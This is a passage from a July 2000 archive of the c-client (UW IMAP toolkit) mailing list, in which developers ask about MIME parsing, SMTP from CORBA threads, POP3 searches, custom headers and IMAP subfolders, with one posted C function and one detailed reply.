fairly basic MIME parser using the c-client library (I am - for the moment - using IMAP 4.7b). It just does the following (well, in a simplified way): get the stream with mail_open() get the headers with mail_fetchheader_full() get the body with mail_fetchstructure() get body information with a routine very similar to display_body() of mtest.c get the contents with a simplified case(body->type) If text/plain: use mail_fetchtext() If (some types of) multipart: use mail_fetch_mime() {I do not have to support all body types for this MIME parser. Some are just rejected.} The problem is: this works pretty well with files which are in a so-called "unix" mailbox format, i.e. they have as their first line >From myself@myhost.myplace.net Mon Jul 3 14:56:07 2000 +0200 But I overlooked the fact that the files I'm actually going to process do not have that line. They are just plain rfc822(+MIME) messages. And if my parser is run on a file which does not contain that line, the status() call (just after mail_open()) returns "This is a phile mailbox" and no MIME parts are extracted: the whole message is seen as a single big MIME part. Not to speak about the mail headers returned: they are definitely wrong. So basically, the parser does not work at all. One solution could be to dump the original message (I only have to process one message at a time) into a temporary file, adding a dummy "From..." first line, and escaping the lines starting with "From" in the body of the message (so that the parser doesn't think that there is more than one message in the file); then process that file. But this solution does not seem very clean to me. Would this solution work? Can anyone of you suggest a better solution to that? Or do I have to rewrite the whole thing in a completely different way?:-( Thanks in advance! Cheers, Daniele. -------------------------------------------------------------------------- Daniele Arena RIPE Network Coordination Centre phone : +31 20 535 4444 Singel 258 fax : +31 20 535 4445 1016AB Amsterdam e-mail : daniele@ripe.net The Netherlands -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Jul 14 09:07:34 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 14 Jul 2000 09:07:34 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA07571 for ; Fri, 14 Jul 2000 09:07:33 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA31662; Fri, 14 Jul 2000 09:07:30 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id JAA08698; Fri, 14 Jul 2000 09:06:57 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id JAA154786 for ; Fri, 14 Jul 2000 09:05:14 -0700 Received: from lndanmta01.pb.com (pbdbfw1.pb.com [152.144.120.124]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id JAA29498 for ; Fri, 14 Jul 2000 09:05:13 -0700 Received: by lndanmta01.pb.com(Lotus SMTP MTA v4.6.6 (890.1 7-16-1999)) id 8525691C.00584407 ; Fri, 14 Jul 2000 12:04:05 -0400 Message-Id: <8525691C.0058434D.00@lndanmta01.pb.com> Date: Fri, 14 Jul 2000 12:04:02 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Dileep Katta" To: c-client@u.washington.edu Subject: SMTP library within CORBA Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline X-Lotus-FromDomain: PBI X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I was wondering if anybody else has seen this behavior and knows the reason why. I linked in the c-client with my application, which is a CORBA module. Now when I call smtptest() - which sends out a SMTP - message initially from main(), it works. BUT, when I make the same call from within one of the CORBA invoked funtions, it simply fails to open a connection. I also tried another thing - I spawn off another thread from within main(), which has just one call - smtptest() - and that fails too. Any ideas why? Thanks, Dileep -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jul 18 12:07:47 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 18 Jul 2000 12:07:46 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA17322 for ; Tue, 18 Jul 2000 12:07:45 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA11728; Tue, 18 Jul 2000 12:07:38 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id MAA13113; Tue, 18 Jul 2000 12:06:52 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id MAA42380 for ; Tue, 18 Jul 2000 12:03:44 -0700 Received: from guiness.netcomsa.com ([216.72.122.3]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA21149 for ; Tue, 18 Jul 2000 12:03:41 -0700 Received: from localhost (mike@localhost) by guiness.netcomsa.com (8.8.8/8.8.8) with ESMTP id NAA00672 for ; Tue, 18 Jul 2000 13:04:03 -0600 Message-Id: Date: Tue, 18 Jul 2000 13:04:03 -0600 (CST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mike Trank To: c-client@u.washington.edu Subject: Link to document about conversion to "mbx" format. MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi there: A couple of months ago, i think it was the guy from Greece who pointed me to a document out there on the Internet that describes the procedurre to convert to "mbx" format. I would appreciate if someone could write back with that link, or some other info about this. Thanks. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jul 19 10:55:37 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 19 Jul 2000 10:55:36 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA22253 for ; Wed, 19 Jul 2000 10:55:34 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA23360; Wed, 19 Jul 2000 10:55:31 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA21551; Wed, 19 Jul 2000 10:54:57 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA59558 for ; Wed, 19 Jul 2000 10:53:55 -0700 Received: from smaug.netropolis.dk (IDENT:root@smaug-if0.netropolis.dk [129.142.224.3]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA14982 for ; Wed, 19 Jul 2000 10:53:54 -0700 Received: from netropolis.dk (IDENT:jonasn@[212.130.21.251]) by smaug.netropolis.dk (8.10.0/8.10.0) with ESMTP id e6JHtcl21729 for ; Wed, 19 Jul 2000 19:55:38 +0200 Message-Id: <3975EC32.884EA149@netropolis.dk> Date: Wed, 19 Jul 2000 19:58:10 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jonas Nielsen To: c-client@u.washington.edu Subject: Fetching mails from a mailqueue MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: jonasn@smaug.netropolis.dk X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi I have problems fetching mail from an outqueue, and sending them. The problem is that when I use mail_fetchstructure it only fetches the structure and not the actual text in the body I have managed to send a message with one attachment, using rfc822_parsemsg in the sourcecode below. Apparently I'm using the wrong method, since Mark Crispin once wrote: "In general, you do not call rfc822_parse_msg() directly. Instead, you use the top-level mail_fetch_???() functions. You build your own BODY structure when calling smtp_mail()." To me it seems that using a new variable (BODY body;), parse the text and copy all 13 attributes, seems to result in a lot of code, making it hard to believe that it's really the right way. Even if it's possible to get all the attributes other ways than parsing the text. It works for me using rfc822_parse_msg(). But the part only contains the first and the last body, which means that I can't send messages with attachments. It's possible that this has nothing to do that I'm using rfc822_parse_msg(). If so I would appreciate a solution or hint to whats wrong. If it has anything to do with it I would like to know why. Could anyone lead me in the right direction. I'm using POP, not IMAP. Please explain as detailed as possible. It's very hard to follow the pine source code so I would really appreciate examples. The code to the specific function is as follows: int armd_deliver(A_SESSION* session) /* sends messages from an outqueue { char *hostlist[] = { /* SMTP server host list */ session->user->smtpserver, NIL }; long bodylength, headerlength, msgNo; int status,i; char *header, *text, *tmpbuf, *buf; char tmp[SZ], bodytext[SZ]; // scratch buffers, large enough to // hold message header char headertext[SZ], seq[16]; BODY *body,*newbody; ENVELOPE *env; MESSAGECACHE *element; SENDSTREAM* smtpstream; STRING bodystring; PART *part,*tmppart; int partnr; long partlength; A_MAIL *the_mail; the_mail = (A_MAIL*)malloc(sizeof(A_MAIL)) ; printf("\n\nOpening Outbox... "); if(init_ok) { if (outboxstream = mail_open (outboxstream, outboxpath, NIL)) { printf("success, %d mesages to send\n",outboxstream->nmsgs); } else error("Smtp server not reachable"); /* For each message in outqueue */ for (msgNo=1; msgNo <= outboxstream->nmsgs; msgNo++) { /* Fetch the envelope needed for smtp_mail */ env = mail_fetchstructure (outboxstream,msgNo,&body); /* Fetch the header in text needed for rfc822_parse_msg */ header = mail_fetchheader(outboxstream,1); strcpy(headertext,header); headerlength = strlen(headertext); /* Fetch the bodytext and convert to the STRING structure which /* rfc822_parse_msg needs */ text = mail_fetchtext_full(outboxstream,1,&bodylength,0); strcpy(bodytext,text); if(bodytext) { INIT(&bodystring, mail_string, bodytext, bodylength); /* Calling rfc822_parsemsg which return a new body structure without /* the text */ rfc822_parse_msg(&the_mail->env,&(the_mail->body), headertext, headerlength, &bodystring,"",0); /* What would be the alternative here ? using a new variable (BODY /* body;), parse the text and copy all 13 attributes ? */ newbody = the_mail->body; /* The first part of the_mail is put into tmppart */ tmppart = the_mail->body->nested.part; partnr = 1; newbody->nested.part = the_mail->body->nested.part; /* Put the text into the bodies of the part object */ do { part = tmppart; sprintf(seq, "%d",partnr); /* Fetch the section of the body */ tmpbuf = mail_fetchbody(outboxstream, 1, seq, &partlength); /* Copy it to buf */ buf = fs_get(partlength+1); strncpy(buf,tmpbuf,partlength + 1); /* And put it into the specific part */ /* prints all the buffers */ printf("\nBuf %d start:\n %s \nBuf %d end\n", partnr, buf,partnr); /* but only inserts the first and last */ part->body.contents.text.data = (unsigned char *)buf; part->body.contents.text.size = strlen(buf); tmppart = tmppart->next; partnr++; } while (part->next != NIL); } if (env->to) { printf ("Sending... %d message(s)\n", msgNo); if (smtpstream = smtp_open (hostlist,0)) { if (smtp_mail (smtpstream,"MAIL", env, newbody)) puts ("[Smtp Ok]"); else printf ("[Failed - %s]\n",smtpstream->reply); } } } /* Delete mails from outqueue */ mail_setflag(outboxstream,"1:*","\\DELETED"); mail_expunge(outboxstream); mail_close(outboxstream); smtp_close(smtpstream); printf("End of deliver \n"); } return O00 ; } -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jul 19 15:09:48 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 19 Jul 2000 15:09:48 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA25329 for ; Wed, 19 Jul 2000 15:09:47 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA22174; Wed, 19 Jul 2000 15:09:40 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id PAA24137; Wed, 19 Jul 2000 15:09:02 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id PAA88664 for ; Wed, 19 Jul 2000 15:07:33 -0700 Received: from mail.gaiaservers.com (mail.gaiaservers.com [206.126.7.67]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA27345 for ; Wed, 19 Jul 2000 15:07:33 -0700 Received: from gaiaservers.com (epsilon-3.gaiaservers.com [206.126.7.83]) by mail.gaiaservers.com (Postfix) with ESMTP id 935025D3E for ; Wed, 19 Jul 2000 12:15:05 -1000 (HST) Message-Id: <39762648.8B409A7D@gaiaservers.com> Date: Wed, 19 Jul 2000 18:06:00 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Joe Sunday To: c-client@u.washington.edu Subject: c-client and quota information from IMAP MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Is there a version of c-client that supports the QUOTA implementation in Cyrus imapd? I'm looking at extending it myself if no-one else has done it yet, but it looks like a fairly complex task to integrate into the driver framework properly. --Joe -- Joe Sunday Systems Administrator Gaia, Incorporated -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Jul 21 09:28:06 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 21 Jul 2000 09:28:06 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA26769 for ; Fri, 21 Jul 2000 09:28:05 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA15671; Fri, 21 Jul 2000 09:28:03 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id JAA04958; Fri, 21 Jul 2000 09:27:25 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id JAA34934 for ; Fri, 21 Jul 2000 09:19:51 -0700 Received: from shiva.jussieu.fr (shiva.jussieu.fr [134.157.0.129]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA28550 for ; Fri, 21 Jul 2000 09:19:50 -0700 Received: from parthe.lpthe.jussieu.fr (parthe.lpthe.jussieu.fr [134.157.10.1]) by shiva.jussieu.fr (8.10.0/jtpda-5.3.3) with ESMTP id e6LGJn940086 for ; Fri, 21 Jul 2000 18:19:49 +0200 (CEST) Received: from seth.lpthe.jussieu.fr (IDENT:zeitlin@seth.lpthe.jussieu.fr [134.157.10.7]) by parthe.lpthe.jussieu.fr (8.9.1a/jtpda-5.3.1) with ESMTP id SAA14202 for ; Fri, 21 Jul 2000 18:19:48 +0200 (MET DST) Received: from (zeitlin@localhost) by seth.lpthe.jussieu.fr (8.8.7/jtpda-5.1) id SAA29441 for c-client@u.washington.edu; Fri, 21 Jul 2000 18:19:48 +0200 Message-Id: Date: Fri, 21 Jul 2000 18:19:48 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu Subject: LATT_NOINFERIORS never set for the news groups in mm_list Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit MIME-Version: 1.0 X-Sender: zeitlin@lpthe.jussieu.fr X-Priority: 3 (Normal) X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, it seems that cclient never sets this flag for the newsgroups at all (it does set LATT_NOSELECT) which can be seen just by running mtest and doing "f {news/nttp}...whatever...%". This is annoying as I'm using this function to build a tree of newsgroups and I'd like to use this flag to decide whether this tree should have a branch for each new folder returned by mm_list or just an item, so I wonder if something can be done about it or, if not, if someone else has found a way around this? Thanks, VZ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Jul 21 21:38:50 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 21 Jul 2000 21:38:50 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id VAA10337 for ; Fri, 21 Jul 2000 21:38:49 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id VAA01648; Fri, 21 Jul 2000 21:38:47 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id VAA05846; Fri, 21 Jul 2000 21:36:50 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id VAA43298 for ; Fri, 21 Jul 2000 21:35:01 -0700 Received: from hotmail.com (law2-f287.hotmail.com [216.32.180.141]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id VAA20044 for ; Fri, 21 Jul 2000 21:35:00 -0700 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Fri, 21 Jul 2000 21:34:57 -0700 Received: from 209.142.135.135 by lw2fd.hotmail.msn.com with HTTP; Sat, 22 Jul 2000 GMT Message-Id: Date: Fri, 21 Jul 2000 23:34:57 CDT Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Greg Copeland" To: c-client@u.washington.edu Subject: Misc header values Mime-Version: 1.0 Content-Type: text/plain; format=flowed X-Originating-IP: [209.142.135.135] X-OriginalArrivalTime: 22 Jul 2000 04:34:57.0460 (UTC) FILETIME=[30891F40:01BFF396] X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi! Sorry that this is a repeat of what I posted to the IMAP list, however, I didn't realize there was a specific c-client list until after I had already posted. So, if you've already seen this message, I say again, "sorry." Nonetheless, I'm hoping for an answer: I'm currently using c-client to create a mail client. I was hoping that someone could tell me if there is a mechanism to create arbitrary header text inside of rfc822 header space? Specifically, I'd like to be able to do return receipts as well as add X-Mailer and X-WhatEverIWant entries as I see fit. Feedback welcome here. What about fetching misc. values from the header? Also, I've browsed around on the web site and didn't really see much in the way of documentation. Is there a good place to fetch documentation on c-client's use (internal and external functions)? Thanks, Greg ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sat Jul 22 13:05:10 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sat, 22 Jul 2000 13:05:09 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id NAA03418 for ; Sat, 22 Jul 2000 13:05:08 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA16644; Sat, 22 Jul 2000 13:05:06 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id NAA08828; Sat, 22 Jul 2000 13:04:36 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id NAA26888 for ; Sat, 22 Jul 2000 13:03:08 -0700 Received: from granger.mail.mindspring.net (granger.mail.mindspring.net [207.69.200.148]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id NAA31314 for ; Sat, 22 Jul 2000 13:03:07 -0700 Received: from mindspring.com (user-33qt0fr.dialup.mindspring.com [199.174.129.251]) by granger.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id QAA16834; Sat, 22 Jul 2000 16:03:04 -0400 (EDT) Message-Id: <3979FDF7.E472CD24@mindspring.com> Date: Sat, 22 Jul 2000 15:03:03 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: John-Paul Robinson To: Greg Copeland Cc: c-client@u.washington.edu Subject: Re: Misc header values References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: itsjpr@mindspring.com X-Accept-Language: en, de X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > I'm currently using c-client to create a mail client. I was hoping that > someone could tell me if there is a mechanism to create arbitrary header > text inside of rfc822 header space? Specifically, I'd like to be able to do > return receipts as well as add X-Mailer and X-WhatEverIWant entries as I see > fit. Feedback welcome here. While I'm not sure if this is the only way to do it, you can look to the send.c file in the pine distribution for an example. rfc822_output() normally calls rfc822_headers() to construct the header from the ENVELOPE, however, rfc822_headers() only supports the fields in the ENVELOPE. In order to include extra headers you can redefine rfc822_ouput() with the SET_RFC822OUTPUT function of mail_parameters(). This is what pine's call_mailer() routine does before invoking rfc822_output() via smtp_open(). Pine's version of the output function is post_rfc822_output() which calls pine_rfc822_output() with a METAENV structure that contains both the c-client ENVELOPE and Pine-specific header lines. The function pine_rfc822_output() calls pine_rfc822_header(), which processes Pine's headers. > What about fetching misc. values from the > header? I think you want to use mail_fetch_header(). It returns a string (and it's size) that contains the full header of the message. You can also pass a list of header lines you want and the function will only return those to you. > Also, I've browsed around on the web site and didn't really see > much in the way of documentation. Is there a good place to fetch > documentation on c-client's use (internal and external functions)? > I believe, right now, it's still read the RFCs for the relevant parts of the library functions, read the internal.txt document (understanding that some minor discrepancies exist), and then read the code. The file mail.c is pretty straight forward once you get familiar with the data structures. Also, Pine provides some good examples on how to use the toolkit library functions. There's a book coming out in August from O'Reilly titled "Managing IMAP". I've only see the links to it on Fat Brain, and O'Reilly has some data on it. Mark has mentioned a book by Kevin Johnson in the past that covers a bunch of the protocols on Internet messaging, it's titled "Internet Email Protocols: A Developer's Guide." I've seen this at the book store but haven't read it. Hope this stuff helps, John-Paul From pinedev@shivax2.cac.washington.edu Sat Jul 22 21:36:44 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sat, 22 Jul 2000 21:36:44 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id VAA11643 for ; Sat, 22 Jul 2000 21:36:43 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id VAA24499; Sat, 22 Jul 2000 21:36:40 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id VAA04912; Sat, 22 Jul 2000 21:36:16 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id VAA133526 for ; Sat, 22 Jul 2000 21:35:16 -0700 Received: from com.amulet.co.jp (com.amulet.co.jp [202.245.28.2]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id VAA32136 for ; Sat, 22 Jul 2000 21:35:11 -0700 Received: from amulet.co.jp ([202.245.28.103]) by com.amulet.co.jp (8.9.3/3.7Wpl2) with ESMTP id NAA00857 for ; Sun, 23 Jul 2000 13:35:07 +0900 Message-Id: <397A7724.F0515CD0@amulet.co.jp> Date: Sun, 23 Jul 2000 13:40:04 +0900 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Hollis Blanchard To: c-client@u.washington.edu Subject: POP3 and mail_search_full for unseen msgs MIME-Version: 1.0 Content-Type: text/plain; charset=iso-2022-jp Content-Transfer-Encoding: 7bit X-Sender: hollis@com.amulet.co.jp X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Ok I'm sure this is an easy one, but I think I actually read the entire c-client_archive and didn't see it mentioned. (Unless I'm describing "POP3 UIDL"?) Yes I know POP3 is old and sucky, I just want to get a list of unread mail. I'm using imap-2000 RC3. I'm calling mail_search_full with search.unseen = 1 (and everything else zeroed). This works great for local mailboxes ("mbox" is the proper term?), but when I try it on a POP3 server mm_searched gets called for *every* message, starting at #1. (Only 1 or 2 messages, at the end of the 400-msg mailbox, are unread.) I'm sure this is either a "limitation in the POP3 protocol" ;) or a programmer error. If the former, is there a workaround? -Hollis -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jul 24 06:47:06 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 24 Jul 2000 06:47:06 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id GAA27677 for ; Mon, 24 Jul 2000 06:47:05 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA01802; Mon, 24 Jul 2000 06:47:02 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id GAA11477; Mon, 24 Jul 2000 06:46:36 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id GAA124308 for ; Mon, 24 Jul 2000 06:44:46 -0700 Received: from relito.medeng.wfubmc.edu (relito.medeng.wfubmc.edu [152.11.242.19]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA26647 for ; Mon, 24 Jul 2000 06:44:46 -0700 Received: from wfubmc.edu (ferdi.medeng.wfubmc.edu [152.11.1.3]) by relito.medeng.wfubmc.edu (8.9.3/8.9.3) with ESMTP id JAA24316 for ; Mon, 24 Jul 2000 09:48:01 -0400 (EDT) Message-Id: <397C4813.55C17894@wfubmc.edu> Date: Mon, 24 Jul 2000 09:43:47 -0400 Reply-To: rrohde@wfubmc.edu Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Bob Rohde To: c-client@u.washington.edu Subject: imap subfolders MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I was hoping somebody could straighten me out. In my environment I'm running Sendmail 8.9.3 as the MTA, IMAP4REV1 v12.264 from U of Washington as the server and Netscape Communicator 4.7 and above as the client software. Communicator has a mail server setting for "Server supports folders that contain sub-folders . . ." but I cannot get sub-folders created. I was wondering if other people had seen this before and how they dealt with it. Is the IMAP daemon the "Server" part of the "Server supports" line in Communicator preferences? Thanks, Bob Rohde WFU School of Medicine -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jul 24 23:29:49 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 24 Jul 2000 